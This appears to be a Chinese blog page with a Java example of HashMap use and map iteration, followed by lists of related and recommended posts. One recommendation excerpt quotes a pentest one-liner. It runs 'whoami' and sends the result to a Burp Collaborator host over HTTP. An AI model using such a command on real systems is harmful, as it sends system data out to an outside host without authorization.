package map;

import java.util.HashMap;
import java.util.Iterator;
import java.util.Map; /**
* Map的实现类HashMap使用
*/
public class MapTest {
/**
*
*/
public static void main(String[] args) {
System.out.println("MapGame start...");
BasicUseOfHashMap();
System.out.println("MapGame end...");
} /**
* HashMap的使用
*/
private static void BasicUseOfHashMap() {
Map<String, String> hashmap = new HashMap<>();
hashmap.put("name", "eric");
hashmap.put("sex", "男");
String value = hashmap.get("sex");
System.out.println(value);
/**
* 增强for循环遍历之使用entrySet循环遍历
*/
System.out.println("\r\n" + "使用entrySet循环遍历");
for (Map.Entry<String, String> entry : hashmap.entrySet()) {
String key1 = entry.getKey();
String value1 = entry.getValue();
System.out.println(key1 + ":" + value1);
}
/**
* 增强for循环遍历之使用keySet循环遍历
*/
System.out.println("\r\n" + "使用keySet循环遍历");
for (String key2 : hashmap.keySet()) {
System.out.println(key2 + ":" + hashmap.get(key2));
}
/**
* 迭代器循环遍历之使用keySet()遍历
*/
System.out.println("\r\n" + "迭代器循环遍历之使用keySet()遍历");
Iterator<String> iterator = hashmap.keySet().iterator();
while (iterator.hasNext()) {
String key3 = iterator.next();
System.out.println(key3 + ":" + hashmap.get(key3));
}
/**
* 迭代器循环遍历之使用entrySet()遍历
*/
System.out.println("\r\n" + "迭代器循环遍历之使用keySet()遍历");
Iterator<Map.Entry<String, String>> iterator1 = hashmap.entrySet().iterator();
while (iterator1.hasNext()) {
Map.Entry<String, String> map = iterator1.next();
String key4 = map.getKey();
String value4 = map.getValue();
System.out.println(key4 + ":" + value4);
}
} }

   java中为什么要使用Iterator?

Iterator模式是用于遍历集合类的标准访问方法。它可以把访问逻辑从不同类型的集合类中抽象出来,从而避免向客户端暴露集合的内部结构。

参考资料:https://www.cnblogs.com/lzq198754/p/5780165.html#top

map hashmap的使用的更多相关文章

  1. Collections+Iterator 接口 | Map+HashMap+HashTable+TreeMap |

    Collections+Iterator 接口 1. Collections 是一个操作 Set.List 和 Map 等集合的工具类 Collections 中提供了大量方法对集合元素进行排序.查询 ...

  2. ES6 & Map & hashMap

    ES6 & Map & hashMap 01 two-sum https://leetcode.com/submissions/detail/141732589/ hashMap ht ...

  3. Map HashMap 排序 迭代循环 修改值

    HashMap dgzhMap = Dict.getDict("dgzh"); Iterator it_d = dgzhMap.entrySet().iterator(); whi ...

  4. Map随笔:最常用的Map——HashMap

    目录 Map随笔:最常用的Map--HashMap 前言: 1,HashMap的结构 2,HashMap的一些属性(JDK8) 3,HashMap的构造函数(JDK8) 4,HashMap的一些方法( ...

  5. [Java] Map / HashMap - 源代码学习笔记

    Map 1. 用于关联 key 和 value 的对象,其中 key 与 key 之间不能重复. 2. 是一个接口,用来代替 Java 早期版本中的 Dictionary 抽象类. 3. 提供三种不同 ...

  6. 高并发第九弹:逃不掉的Map --> HashMap,TreeMap,ConcurrentHashMap

    平时大家都会经常使用到 Map,面试的时候又经常会遇到问Map的,其中主要就是 ConcurrentHashMap,在说ConcurrentHashMap.我们还是先看一下, 其他两个基础的 Map ...

  7. Map / HashMap 获取Key值的方法

    方法1:keySet()HashMap hashmp = ne HashMap();hashmp.put("aa", "111");Set set = hash ...

  8. Map:HashMap和TreeMap

    一.Map集合     特点:将键映射到值得对象 Map集合和Collection集合的区别? Collection:是单列集合,存储的是单独出现的元素    Map: 是双列集合,存储的是键值对形式 ...

  9. Java集合 之Map(HashMap、Hashtable 、TreeMap、WeakHashMap )理解(new)

    HashMap 说明: 在详细介绍HashMap的代码之前,我们需要了解:HashMap就是一个散列表,它是通过“拉链法”解决哈希冲突的.还需要再补充说明的一点是影响HashMap性能的有两个参数:初 ...

  10. golang 多维哈希(map,hashmap)实践随笔

    有些场景使用多维哈希来存储数据,时间复杂度恒定,简单粗暴好用.这里记录一下. 如下是三维哈希的简单示意图,建议层数不要太多,否则时间久了,自己写的代码都不认识. 下图是三维哈希在内存的存储形式,has ...

随机推荐

  1. Sass字符运算

    在 Sass 中可以通过加法符号“+”来对字符串进行连接.例如: $content: "Hello" + "" + "Sass!"; .bo ...

  2. 利用HTTP、DNS通道测试无回显的命令执行

    windows下通过start命令 for /F %X in ('whoami') do start http://uusifci7x1s0hcrny1lkqwqyjppfd4.burpcollabo ...

  3. 人生苦短_我用Python_类与对象的概念_006

    Python类与对象的概念类和对象--->万事万物都对象物以类聚.人以群分 --->?划分标准性别分 男女 中性成绩分 优秀 良好 不及格 类->根据类的属性来划分类的实例-> ...

  4. Android SDK的下载与安装*(PC版)

    Android SDK的下载与安装   一.Android SDK简介下载地址:https://www.androiddevtools.cn/ 将下载后的安装包解压到相应的目录下,如下图: 三.安装A ...

  5. php ucfirst()函数 语法

    php ucfirst()函数 语法 作用:字符串首字母大写 语法:ucfirst(string) 参数: 参数 描述 string 必须,规定要转换的字符串 说明:把字符串中的首字符转换为大写.直线 ...

  6. JS中字符串的常见属性及方法

    1.属性 1.1.length var txt = "abc 123"; console.log(txt.length); 2.方法 2.1.返回字符位置(indexOf()) 该 ...

  7. 【2019 Multi-University Training Contest 2】

    01: 02: 03: 04: 05:https://www.cnblogs.com/myx12345/p/11584100.html 06: 07: 08:https://www.cnblogs.c ...

  8. UOJ 418 【集训队作业2018】三角形——思路+线段树合并

    题目:http://uoj.ac/problem/418 看了题解才会…… 很好的想法是把整个过程看成若干 “取一点 i ,值+=w[ i ],值-=\(\sum w[j]\)”(其中 j 是 i 的 ...

  9. python里的深浅拷贝

    拷贝就是拷贝,何来深浅之说? Python中,对象的赋值,拷贝(深/浅拷贝)之间是有差异的,如果使用的时候不注意,就可能产生意外的结果 其实这个是由于共享内存导致的结果 拷贝:原则上就是把数据分离出来 ...

  10. 【GDAL】GDAL栅格数据结构学习笔记(一): 关于Metadata

    在维护一段代码时看到前任程序员写的获取栅格数据的CellSize的功能,竟然在知道GDAL的情况下去调用AE的接口来解算,觉得费解. 原来的思路是使用AE的Raster对象读取出Raster的文件大小 ...